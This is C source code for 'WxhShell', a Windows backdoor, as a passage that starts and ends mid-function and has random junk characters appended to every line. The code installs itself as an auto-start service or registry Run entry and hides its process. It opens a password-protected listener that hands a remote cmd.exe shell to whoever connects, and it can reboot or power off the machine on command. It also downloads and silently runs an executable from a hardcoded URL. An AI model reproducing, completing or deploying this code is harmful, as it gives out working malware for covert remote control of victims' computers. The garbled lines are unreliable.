    if(Boot(SHUTDOWN)) |aI|yq)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IL+#ynC  
    else { 4DQ07w  
    closesocket(wsh); bK_0NrXP  
    ExitThread(0); 9D{u,Q V  
    } l#2r.q^$|  
    break; #[k~RYS3  
    } eHVdZ'%x  
  // 获取shell r!=]Q}`F  
  case 's': { ;1{iF2jZ:  
    CmdShell(wsh); %Lh-aP{[e  
    closesocket(wsh); u|_LR5S!j  
    ExitThread(0); kz7vbY  
    break; 2cs?("8e%  
  } aJK-O"0/  
  // 退出 c{'$=lR "  
  case 'x': { ys&"r":I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g^s+C Z  
    CloseIt(wsh); wq:b j=j  
    break; 7.7Cluh5,  
    } ['51FulDR  
  // 离开 $?]@_=  
  case 'q': { L<f-Ed9|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tl{]gz  
    closesocket(wsh); ql!5m\  
    WSACleanup(); p/ziFpU  
    exit(1); '\ph`Run  
    break; 8_^'(]  
        }  uD.  
  } $:%*gY4~76  
  } iN:G/ss4O  
s0C?Bb}?  
  // 提示信息 $\0cJCQ3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jHkyF`<+  
} fap|SMGt  
  } 9l]UE0yTL/  
ppwd-^f3j  
  return; w$DG=!  
} ]yyU)V0Iu  
rtB|N-  
// shell模块句柄 +l2e[P+qA  
int CmdShell(SOCKET sock) hr J$%U  
{ +L`V[;  
STARTUPINFO si; B8bvp:Ho|  
ZeroMemory(&si,sizeof(si)); HO 266M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 89*S? C1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bh=\  
PROCESS_INFORMATION ProcessInfo; J>f /u:.  
char cmdline[]="cmd"; *)j@G:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (/T +Wpy?  
  return 0; Nf=C?`L  
} )x$!K[=  
y-E1]4?})  
// 自身启动模式 z7'n, [  
int StartFromService(void) ]sX7%3P  
{ a='IT 5  
typedef struct z{_mEE49  
{ UlK/x"JDv  
  DWORD ExitStatus; S 3{Dn  
  DWORD PebBaseAddress; 7ZF}0K$^B  
  DWORD AffinityMask; O"@?U  
  DWORD BasePriority; c_~XL^B@  
  ULONG UniqueProcessId; 2B6^ ]pSk  
  ULONG InheritedFromUniqueProcessId; EG F:xl  
}   PROCESS_BASIC_INFORMATION; 9|J8]m?x  
kA1RfSS  
PROCNTQSIP NtQueryInformationProcess; 1k!D0f3qb  
h=X7,2/<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5T!&r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -6u H.  
3cmbK  
  HANDLE             hProcess; 5|yZEwq  
  PROCESS_BASIC_INFORMATION pbi; !Bag}|#  
ot-(4Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ly^E& ,)  
  if(NULL == hInst ) return 0; <$"7~i /X  
lKf Mp1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x2sN\tOh^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eA`]K alH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u=(H#o<#  
t@X M /=d  
  if (!NtQueryInformationProcess) return 0; {]+ jL1  
TAXd,z N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F?!FD>L{`  
  if(!hProcess) return 0; BfX%|CWh  
0Wa#lkn$I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2}D,df'W4  
].LJt['%8  
  CloseHandle(hProcess); f&K}IM8& #  
Us1@\|]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !.9l4@z#  
if(hProcess==NULL) return 0; 5r'=O2AZX  
A$/KP\0Y2  
HMODULE hMod; ]a8eDy  
char procName[255]; g* %bzfk=|  
unsigned long cbNeeded; *hV4[=  
1oB$MQoc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |p;4dL  
rU],J!LF  
  CloseHandle(hProcess); ZQ@3P7T  
A3xbT\xdg  
if(strstr(procName,"services")) return 1; // 以服务启动 [`q.A`Fd  
Gj6<s./  
  return 0; // 注册表启动 Lt>?y& CcQ  
} "K 8nxnq  
3 Q@9S  
// 主模块 n1_ %Td  
int StartWxhshell(LPSTR lpCmdLine) wyp{KIV  
{ STv(kQs  
  SOCKET wsl; \{kHSV%z  
BOOL val=TRUE; pH^ z  
  int port=0; b7Yq_%+  
  struct sockaddr_in door; %cS#+aK6M'  
aWdUuid  
  if(wscfg.ws_autoins) Install(); 6 tX.(/+L  
QI.t&sCh5  
port=atoi(lpCmdLine); I`lDWL  
yj>) {NcX  
if(port<=0) port=wscfg.ws_port; P1$f}K}  
M\I_{Q?_  
  WSADATA data; xOhRTxic  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e!6eZ)l  
ubD#I{~J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OO$|9`a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ACgt" M.3F  
  door.sin_family = AF_INET; $\+"qs)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {d8^@UL  
  door.sin_port = htons(port); k@7kNMl  
miPmpu!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { se!g4XEWD  
closesocket(wsl); YRXK@'[=  
return 1; L+Eu d  
} AYt*'Zeg!s  
]Uu aN8  
  if(listen(wsl,2) == INVALID_SOCKET) { b"^\)|*4;  
closesocket(wsl); r9<V%PH v  
return 1; fa"\=V2S  
} ZH% we  
  Wxhshell(wsl); Ohc^d"[7  
  WSACleanup(); K@HLIuz4t  
W.IH#`-9E  
return 0; cFw3Iw"JJ  
O /vWd "  
} %,XI]+d  
^+EMZFjg(  
// 以NT服务方式启动 QJQJR/g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D_Guc8*  
{ >cTjA):  
DWORD   status = 0; @$Yb#$/  
  DWORD   specificError = 0xfffffff; rj}(muM,R  
D6Dn&/>Zp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Rw/Ciw2@?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !1("(Eb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _$!`VA%  
  serviceStatus.dwWin32ExitCode     = 0; pVY4q0@  
  serviceStatus.dwServiceSpecificExitCode = 0; D]jkR} t  
  serviceStatus.dwCheckPoint       = 0; Jlz9E|*qV  
  serviceStatus.dwWaitHint       = 0; ]/a g*F  
,?I(/jI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ("b*? : B  
  if (hServiceStatusHandle==0) return; %Or2iuO%-,  
_nP)uU$  
status = GetLastError(); 3\]~!;dI  
  if (status!=NO_ERROR) FQ1arUOFW,  
{ IOX:yxj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2HSb.&7-G  
    serviceStatus.dwCheckPoint       = 0; l`* ( f9Q  
    serviceStatus.dwWaitHint       = 0; '\ XsTs#L  
    serviceStatus.dwWin32ExitCode     = status; 6oYIQ'hc  
    serviceStatus.dwServiceSpecificExitCode = specificError; / xs9.w8-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7pz\ScSe  
    return; @\!ww/QT  
  } (xbIUz.  
:4U0I:J#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2?*||c==*  
  serviceStatus.dwCheckPoint       = 0; vsc&Ju%k  
  serviceStatus.dwWaitHint       = 0; }{A?PHV5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,b4g.CV  
} ?@>;/@  
K|Om5 p  
// 处理NT服务事件,比如:启动、停止 tR5tPPw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K\~v&  
{ Et.j1M|g  
switch(fdwControl) ~oo'ky*H!  
{  J+lGh9G  
case SERVICE_CONTROL_STOP: sSz%V[X WL  
  serviceStatus.dwWin32ExitCode = 0; %/Bvy*X&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0lBat_<8  
  serviceStatus.dwCheckPoint   = 0; ldYeX+J _  
  serviceStatus.dwWaitHint     = 0; {!MVc<G.  
  { an.`dBm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  tq0;^L  
  } I=o'+>az  
  return; jx'2N~$  
case SERVICE_CONTROL_PAUSE: xFU5\Zuw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vcwK6G  
  break; HZ{n&iJ  
case SERVICE_CONTROL_CONTINUE: ,2ME2@OP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H@Q`  
  break; puA |NT  
case SERVICE_CONTROL_INTERROGATE: cFDxjX?~  
  break; 8!;$qVt  
}; ZJ9x6|q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ox~ 9_d  
} l0. FiO@_Q  
# 3.\j"b  
// 标准应用程序主函数 IqNpLh|[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rpSr^slr  
{ l^ Rm0t_  
m9woredS,  
// 获取操作系统版本 >gnF]<  
OsIsNt=GetOsVer(); qfa}3k8et  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~o i)Lf1  
8?kP*tmcZ  
  // 从命令行安装 j3{HkcjJG  
  if(strpbrk(lpCmdLine,"iI")) Install(); mTJ"l(,3  
jFG5)t<D  
  // 下载执行文件 3(C :X1  
if(wscfg.ws_downexe) { _F^$aZt?e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @UV{:]f~e  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2uEhOi0I  
} bQ"N ;d)e  
6< >SHw  
if(!OsIsNt) { *%I[ ke *  
// 如果时win9x,隐藏进程并且设置为注册表启动 i%MA"I\9  
HideProc(); `zY!`G  
StartWxhshell(lpCmdLine); DRp&IP<  
} gvGi %gq  
else c_Tzyh7l4  
  if(StartFromService()) MUB37  
  // 以服务方式启动 r ^ Y~mq  
  StartServiceCtrlDispatcher(DispatchTable); Ok*Z  
else >T QZk4$  
  // 普通方式启动 Hit Ac8  
  StartWxhshell(lpCmdLine); 4#7Umj  
9qre|AA  
return 0; +aj^Cs1$  
} i5VG2S  
06jMj26!  
SY|Ez!tU:N  
uOre,AQR  
=========================================== ik IzhUWE  
/BT1oWi1y  
=U c$D*  
-;U3w.-  
EX+,:l\^  
n]v7V&mj\  
" H]]c9`ayt  
~z`/9 ;  
#include <stdio.h> eC;!YG Z  
#include <string.h> *i@T!O(1)M  
#include <windows.h> ED/FlL{  
#include <winsock2.h> y1#O%=g  
#include <winsvc.h> \lW_f{X)  
#include <urlmon.h> r :NH6tAL  
&XtRLt gS  
#pragma comment (lib, "Ws2_32.lib") n/AW?'  
#pragma comment (lib, "urlmon.lib") e3g_At\  
rREzM)GA  
#define MAX_USER   100 // 最大客户端连接数 /BKtw8  
#define BUF_SOCK   200 // sock buffer ]4o?BkL  
#define KEY_BUFF   255 // 输入 buffer oq. r\r  
a,cC!   
#define REBOOT     0   // 重启 ~&KX-AC@  
#define SHUTDOWN   1   // 关机 '?8Tx&}U8  
}[v~&  
#define DEF_PORT   5000 // 监听端口 2( _=SfQ  
-njQc:4W,-  
#define REG_LEN     16   // 注册表键长度 ;ctU&`  
#define SVC_LEN     80   // NT服务名长度 u7#z^r  
3~<}bee5|q  
// 从dll定义API i. M2E$b|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G0/>8_Q>Nr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !oGQ8 e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?+\E3}:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ($S Lb6  
7E~4)k0<  
// wxhshell配置信息 i-.c= M  
struct WSCFG { N~| t!G*9  
  int ws_port;         // 监听端口 S=PJhAF  
  char ws_passstr[REG_LEN]; // 口令 'evv,Q{87  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]"h=Qc  
  char ws_regname[REG_LEN]; // 注册表键名 )x[HuIRaa  
  char ws_svcname[REG_LEN]; // 服务名 -TS? fne)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bE4HDq34  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AerFgQiS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0D~=SekQ 9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZF'HM@cfo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3Oiy)f@{TF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %t[K36,p  
)$_,?*fq:  
}; )*D'csGc  
W+hV9  
// default Wxhshell configuration |!}wF}iLc)  
struct WSCFG wscfg={DEF_PORT, pX_b6%yX(  
    "xuhuanlingzhe", F~R7~ZE  
    1, +$,dwyI2t  
    "Wxhshell", >|nt2  
    "Wxhshell", V.2[ F|P;3  
            "WxhShell Service", CL1 ;Inzl  
    "Wrsky Windows CmdShell Service", Ag6uR(uI  
    "Please Input Your Password: ", uLK(F B  
  1, zmbZ  
  "http://www.wrsky.com/wxhshell.exe", tN2 W8d  
  "Wxhshell.exe" */_@a?  
    }; Q7(eq0na  
CjKRP;5  
// 消息定义模块 8[R1A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m8AAp1=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ve-8*Xa  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3I*uV!notJ  
char *msg_ws_ext="\n\rExit."; h'!V8'}O?  
char *msg_ws_end="\n\rQuit."; t 7^D-l  
char *msg_ws_boot="\n\rReboot..."; DY.58IHg1  
char *msg_ws_poff="\n\rShutdown..."; l{Er+)a  
char *msg_ws_down="\n\rSave to "; u E.^w;~2=  
_Wma\(3$  
char *msg_ws_err="\n\rErr!"; kFLT!k  
char *msg_ws_ok="\n\rOK!"; k{-`]qiK  
$ eX*  
char ExeFile[MAX_PATH]; ? d5h9}B  
int nUser = 0; 3+9 U1:1[.  
HANDLE handles[MAX_USER]; q~h:<,5  
int OsIsNt; Mpm#GdT  
s0lYj@E'  
SERVICE_STATUS       serviceStatus; .eY`Ri<3t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I4~^TrznRa  
}e2F{pQ  
// 函数声明 zt?H~0$LB  
int Install(void); #HG&[Ywi  
int Uninstall(void); W>$BF[x!{  
int DownloadFile(char *sURL, SOCKET wsh); [pR)@$"k'  
int Boot(int flag); "teyi"U+  
void HideProc(void); [+Un ^gD  
int GetOsVer(void); }p*?1N  
int Wxhshell(SOCKET wsl); H+`*Y<F@  
void TalkWithClient(void *cs); *B{-uc3o  
int CmdShell(SOCKET sock); uP6-cs  
int StartFromService(void); TPK@*9rI  
int StartWxhshell(LPSTR lpCmdLine); SUu >6'LN  
>a@>N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Sn ^Aud  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); jsZY{s=  
pl\b-  
// 数据结构和表定义 rKp1%S1  
SERVICE_TABLE_ENTRY DispatchTable[] = &CUC{t$VHX  
{ 0'@u!m?  
{wscfg.ws_svcname, NTServiceMain}, lsFfb'>  
{NULL, NULL} b pp*  
}; ~S;!T  
b0YNac.l  
// 自我安装 \u8,!) 4i  
int Install(void) ~p^7X2% !  
{ Q c3?}os2  
  char svExeFile[MAX_PATH]; )E~_rDTl  
  HKEY key; QkE,T0,/?h  
  strcpy(svExeFile,ExeFile); : I)Gv  
!.X _/$c  
// 如果是win9x系统,修改注册表设为自启动 @'gl~J7  
if(!OsIsNt) { UE;Bb*<   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w+Vk3c5uI)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EzpwGNfz}  
  RegCloseKey(key); !qaDn.9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {+\'bIV[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fx5ZwT t  
  RegCloseKey(key); }P. K2ku  
  return 0; ph#efY`a:  
    } nuxd S ,  
  } I%i:)6Un-y  
} j6og3.H-  
else { PY -+Bf  
A8!Ed$@  
// 如果是NT以上系统,安装为系统服务 H pFb{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  0Ve%.k  
if (schSCManager!=0) MHl^/e@  
{ VF= Z`  
  SC_HANDLE schService = CreateService CO'ar,  
  ( -5xCQJ[  
  schSCManager, xD0NZ~w%  
  wscfg.ws_svcname, /x/4NeD  
  wscfg.ws_svcdisp, N]u2ql&  
  SERVICE_ALL_ACCESS, -ek1$y9)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m#MlH=-  
  SERVICE_AUTO_START, agW9Go_F[  
  SERVICE_ERROR_NORMAL, B52H(sm  
  svExeFile, o\60 n  
  NULL, r`[B@  
  NULL, 0\wiam-  
  NULL, B kV(81"C  
  NULL, jN{Zw*  
  NULL 0d`5Gy_D%  
  ); e/@29  
  if (schService!=0) w%rg\E  
  { j8c6[ih  
  CloseServiceHandle(schService); \gd6Yx^[  
  CloseServiceHandle(schSCManager); 3&9zGy{V+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RpAiU  
  strcat(svExeFile,wscfg.ws_svcname); `VXZ khm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { */Cj$KY70  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7t3X`db  
  RegCloseKey(key); 8 ?" Ze(  
  return 0; _k|g@"  
    } CrO`=\  
  } ctK65h{Eo  
  CloseServiceHandle(schSCManager); )2]a8JVf  
} RF!'K ko  
} ZYDW v/u  
]<+3Vw  
return 1; e2bLkb3c  
} %Zu Ll(  
(Xj.iP  
// 自我卸载 >|(%2Zl  
int Uninstall(void) z{' 6f@]  
{ '+6 <U[ L  
  HKEY key; -nG wuEngP  
itHM7d  
if(!OsIsNt) { oR#my ^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #Z!#;%S  
  RegDeleteValue(key,wscfg.ws_regname); U$%|0@`~  
  RegCloseKey(key); AI~9m-,mE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jiq2x\\!  
  RegDeleteValue(key,wscfg.ws_regname); 7$#rNYa,z  
  RegCloseKey(key); ke^d8Z.  
  return 0; *:[b'D!A  
  } (:l(_-O  
} 5pmQp}}R  
} o~k;D{Snr  
else { vS#{-X  
@ge LW!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C rfRLsN]  
if (schSCManager!=0) {!y<<u1  
{ Tm\OYYyk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "]UIz_^'`U  
  if (schService!=0) N|$5/bV  
  { 9 R  
  if(DeleteService(schService)!=0) { aH  
  CloseServiceHandle(schService); kJ__:rS(T_  
  CloseServiceHandle(schSCManager); hm6pxFkX_  
  return 0; 'mUI-1GkT  
  } 4@mso+tk  
  CloseServiceHandle(schService); /L$NE$D} "  
  } /vy?L\`)#  
  CloseServiceHandle(schSCManager); 8 #Fh>  
} R~cIT:i  
} p&uCp7]U  
a-:pJE.'p  
return 1; 716hpj#*  
} z 7@ 'CJ  
q}e]*]dJZ  
// 从指定url下载文件  +xq=<jy  
int DownloadFile(char *sURL, SOCKET wsh) 9GE]<v,_[  
{ d9|T=R  
  HRESULT hr; ve~C`2=;  
char seps[]= "/"; 8lpzSJP4k  
char *token; Ym`1<2mq\  
char *file; @f%wd2  
char myURL[MAX_PATH]; 9j2\y=<&  
char myFILE[MAX_PATH]; /xJY7yF  
p KnIQa[c  
strcpy(myURL,sURL); l:x _j\  
  token=strtok(myURL,seps); | 4 `.#4  
  while(token!=NULL) <0>[c<{V<  
  { UFL0 K  
    file=token; c<>y!^g  
  token=strtok(NULL,seps); ~n8F7  
  } VD9J}bgJ  
cT I,1U  
GetCurrentDirectory(MAX_PATH,myFILE); /XN*)m  
strcat(myFILE, "\\"); n-W?Z'H{r  
strcat(myFILE, file); [{?;c+[  
  send(wsh,myFILE,strlen(myFILE),0); *n,UOHlO  
send(wsh,"...",3,0); m qpd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '/dTqg*W  
  if(hr==S_OK) ?N(u4atC  
return 0; l=,.iv=W  
else }Py<qXH  
return 1; _En]@xK3&  
.1Vu-@  
} Okk hP  
!}y8S'Yjw  
// 系统电源模块 V.U|OQouT  
int Boot(int flag) rrYp'L  
{ Iht@mE  
  HANDLE hToken; }\U0[x#q  
  TOKEN_PRIVILEGES tkp; 5qeT4| Ol  
;*_I,|A:Xr  
  if(OsIsNt) { }0vtc[!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wqf&i^_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tG_-;03<`4  
    tkp.PrivilegeCount = 1; WVinP(#nfM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B JU*`Tx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > e;]mU`,  
if(flag==REBOOT) { UUD\bWfn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jzQ9zy_  
  return 0; xTGP  
} cK/PQsMP  
else { b5[f 5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HuK Aj  
  return 0; K7+^Yv\YQx  
} "i}Z(_7yr  
  } t ]71  
  else { NavOSlC+h  
if(flag==REBOOT) { 2YaTT& J  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GCZu<,  
  return 0; t;oT {Hge  
} )Gx": D  
else { a pKa4nI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g<0w/n!jmC  
  return 0; Ja^7$WY  
} J6= w:c  
} 1k*n1t):  
MM=W9#  
return 1; O\3r%=TF  
} LR hP7D+A  
R%qX_m\0  
// win9x进程隐藏模块 (R,NV3m?w  
void HideProc(void) A>H*`{}  
{ 3x,Aczb  
4S^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @"jmI&hYn  
  if ( hKernel != NULL ) 2LtU;}7s  
  { $,p.=j;P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8+=p8e~An  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yY-FL`-  
    FreeLibrary(hKernel); []^PJ  
  } XB6N[E  
Ym3 "  
return; _-g-'Hr+N  
} c1gz #,  
YK(XS"Kl  
// 获取操作系统版本 0F-mROC=F  
int GetOsVer(void) ViCg|1c  
{ -lnTYxo+]^  
  OSVERSIONINFO winfo; A/ox#(!v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,?P8m"  
  GetVersionEx(&winfo); Lw!?T(SK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K<Yn_G  
  return 1; mrhsKmH  
  else m$j n5:  
  return 0; eA3`]XP.`b  
} B:.;,@r]  
]C9%]`  
// 客户端句柄模块 ~e,f)?  
int Wxhshell(SOCKET wsl) ?6_"nT*}  
{ Ah(\%35&  
  SOCKET wsh; MYur3lj%_  
  struct sockaddr_in client; FKDamHL<  
  DWORD myID; buMiJzU  
COxZ Q  
  while(nUser<MAX_USER) @n5;|`)\  
{ *[XN.sb8E  
  int nSize=sizeof(client); 7I@9v=xV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AH"g^ gw~T  
  if(wsh==INVALID_SOCKET) return 1; XhJP87A  
@5<]W+jk4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e'}ePvN  
if(handles[nUser]==0) bCJ<=X,g`K  
  closesocket(wsh); ~(w=U *  
else V{7lltu  
  nUser++; _OyP>| L'  
  } +9=@E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5`OK-  
;EE{ ~  
  return 0; |SSf G~r  
} ]6?c8/M  
[R@q]S/  
// 关闭 socket x= vE&9_u  
void CloseIt(SOCKET wsh) ;] l{D}  
{ eG[umv.9b  
closesocket(wsh); N3S,33 8s  
nUser--; Yc. ~qmG/z  
ExitThread(0); -eSPoZ  
} mGM inzf  
"-~D! {rS  
// 客户端请求句柄 5~<a>>  
void TalkWithClient(void *cs) IPr*pQ{;c  
{ (;Dn%kK  
Z L6~Eut  
  SOCKET wsh=(SOCKET)cs; :N+K^gI)  
  char pwd[SVC_LEN]; u"Hd55"&  
  char cmd[KEY_BUFF]; / y":/" h  
char chr[1]; :$X4#k<  
int i,j; T_YMM'`  
a[d{>Fb.  
  while (nUser < MAX_USER) { i;uG:,ro  
q;Ar&VrlNq  
if(wscfg.ws_passstr) { ;|;h9"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @xW"rX#7f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); utFcFd X  
  //ZeroMemory(pwd,KEY_BUFF); .:r2BgL  
      i=0; eEg1-  
  while(i<SVC_LEN) { \( Gf+  
7~%  
  // 设置超时 Uy_}@50"l  
  fd_set FdRead; I;kUG_c(4  
  struct timeval TimeOut; P?3YHa^up  
  FD_ZERO(&FdRead); V5(tf'  
  FD_SET(wsh,&FdRead); OyG_thX  
  TimeOut.tv_sec=8; 7E\K!v_  
  TimeOut.tv_usec=0; n+RUPZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {Vt^Xc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >? A `C!i  
+QCU]Fozk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =ihoVA:|  
  pwd=chr[0]; 8KGv?^M 6W  
  if(chr[0]==0xd || chr[0]==0xa) { O>o}<t7  
  pwd=0; Xdp`Z'g  
  break; 21)-:rS  
  } /!&b'7y  
  i++; c?V*X-   
    } 5qeS|]^`  
;nAg4ll8Q  
  // 如果是非法用户,关闭 socket 7zJh;f/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^V0{Ew /x  
} c5mhl;+'  
;'WzfJ!q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Uhl9 =  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q!9v}R3(  
v|,[5IY  
while(1) { "k_n+cH%  
^S;RX*  
  ZeroMemory(cmd,KEY_BUFF); J}Z_.:JO(w  
DbNi;m  
      // 自动支持客户端 telnet标准   J*q=C%}.  
  j=0; nV,{w4t+  
  while(j<KEY_BUFF) { R1b )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tr9_bl&z  
  cmd[j]=chr[0]; "DcueU#!  
  if(chr[0]==0xa || chr[0]==0xd) { < 4EB|@E  
  cmd[j]=0; i1_>>49*  
  break; Kj1#R  
  } D0E"YEo\nv  
  j++; CrwcYzrRWl  
    } ]`i@~Z h\  
2'UFHiK  
  // 下载文件 p *W ZY=Q  
  if(strstr(cmd,"http://")) { @qr3v>3X<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E't G5,/m  
  if(DownloadFile(cmd,wsh)) lo]B 5_en  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~"<VUJ=Ly:  
  else p?`|CE@h7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L_zmU_zD  
  } J^+$L"K  
  else { by:xD2 5  
(a)@<RF`Q}  
    switch(cmd[0]) { Qig!NgOM  
  YV_I-l0  
